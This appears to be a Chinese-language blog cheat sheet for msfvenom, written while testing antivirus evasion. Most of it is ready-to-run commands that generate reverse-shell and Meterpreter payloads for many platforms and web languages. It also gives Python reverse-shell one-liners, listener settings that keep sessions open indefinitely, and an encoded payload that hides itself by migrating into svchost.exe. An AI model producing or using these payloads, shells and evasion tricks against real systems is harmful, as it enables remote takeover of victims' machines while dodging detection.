寫此文是因為網上資料雜亂,不方便查閱,辣眼睛
測試免殺的時候剛好用到這個功能,順便寫一下(0202年靠msfvenom生成的純原生payload可以宣告死亡了,如果有查不出來的殺軟可以退群了,這也叫殺軟嗎太丟人了)
在此把個人了解的遇到過的一些關於msfvenom使用過程中的問題根據大佬們的思路整理出來,僅供參考
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
大佬止步線
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
msfvenom取代了msfpayload和msfencode,常用於生成木馬,在目標機器上執行,在本地機器kali中上線
大致參數介紹
-l, --list <type> 列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops,......all
-p, --payload < payload> 指定需要使用的payload(攻擊荷載)。也可以使用自定義payload,幾乎是支持全平台的
-f, --format < format> 指定輸出格式
-e, --encoder <encoder> 指定需要使用的encoder(編碼器),指定需要使用的編碼,如果既沒用-e選項也沒用-b選項,則輸出raw payload
-a, --arch < architecture> 指定payload的目標架構,例如x86 還是 x64 還是 x86_64
-o, --out < path> 指定創建好的payload的存放位置
-b, --bad-chars < list> 設定規避字符集,指定需要過濾的壞字符。例如:不使用 '\x0f'、'\x00'
-n, --nopsled < length> 為payload預先指定一個NOP滑動長度
-s, --space < length> 設定有效攻擊荷載的最大長度,就是文件大小
-i, --iterations < count> 指定payload的編碼次數
-c, --add-code < path> 指定一個附加的win32 shellcode文件
-x, --template < path> 指定一個自定義的可執行文件作為模板,並將payload嵌入其中
-k, --keep 保護模板程序的動作,注入的payload作為一個新的進程運行
-v, --var-name < value> 指定一個自定義的變量,以確定輸出格式
-t, --timeout <second> 從stdin讀取有效負載時等待的秒數(默認為30,0表示禁用)
-h,--help 查看幫助選項
--platform < platform> 指定payload的目標平台
。。。。。。
例如:看一下有哪些payload
再比如看一下 某個payload有哪些選項支持哪些平台
再比如看一下有哪些編碼器msfvenom -l encoders
其中就包括號稱“excellent”的、隨處可見的shikata_ga_nai (真的是無能為力嗎,我不信)
再有msfvenom -l 什么什么都行 ,不一一列舉了
生成payload
二進制
windows
64位
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f exe > shell.exe
32位
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Windows -f exe > shell.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Linux -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform osx -f macho > shell.macho
Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 R > test.apk
powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
nc正向
msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.32.129 LPORT=2333 -f exe> 1.exe
nc反向
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f exe> 1.exe
shellcode
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Windows -f c
windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Linux -f c
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform osx -f c
腳本
Python反彈shell
msfvenom -p cmd/unix/reverse_python LHOST=192.168.32.129 LPORT=2333 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.py
Python正向shell
python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.129",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python/python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(("192.168.32.129",2333))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
bash
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.32.129 LPORT=2333 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.32.129 LPORT=2333 -f raw > shell.pl
Lua
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.32.129 LPORT=2333 -f raw -o shell.lua
Ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw -o shell.rb
web
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f aspx -o shell.aspx
asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f asp > shell.asp
jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f war > shell.war
nodjs
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw -o shell.js
另:補充
保證收到session后繼續監聽端口
msf exploit(multi/handler) > set ExitOnSession false
默認情況下,如果一個會話將在5分鍾沒有任何活動,那么它會被殺死,為防止此情況可將此項修改為0
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
默認情況下,一個星期后,會話將被強制關閉,修改為0可永久不會被關閉
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
handler后台持續監聽
msf exploit(multi/handler) > exploit -j -z
快速建立監聽
msf5 > handler -H 192.168.32.129 -P 2333 -p windows/meterpreter/reverse_tcp
防止太顯眼,msfvenom進程migrate,啟動兩個進程svchost.exe和shell.exe,PrependMigrate=true PrependMigrateProc=svchost.exe將進程默認遷移到svchost.exe中 (也可以寫別的進程名)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
參考文章 :https://www.cnblogs.com/backlion/p/9484949.html
隨便轉載,請標明作者出處